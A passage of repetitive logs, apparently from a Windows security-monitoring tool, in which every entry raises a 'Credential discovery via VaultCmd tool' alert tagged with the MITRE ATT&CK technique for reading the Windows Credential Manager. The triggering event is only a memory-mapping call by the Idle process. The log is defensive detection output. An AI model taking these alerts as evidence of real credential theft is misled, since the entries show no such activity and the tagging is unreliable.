1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: 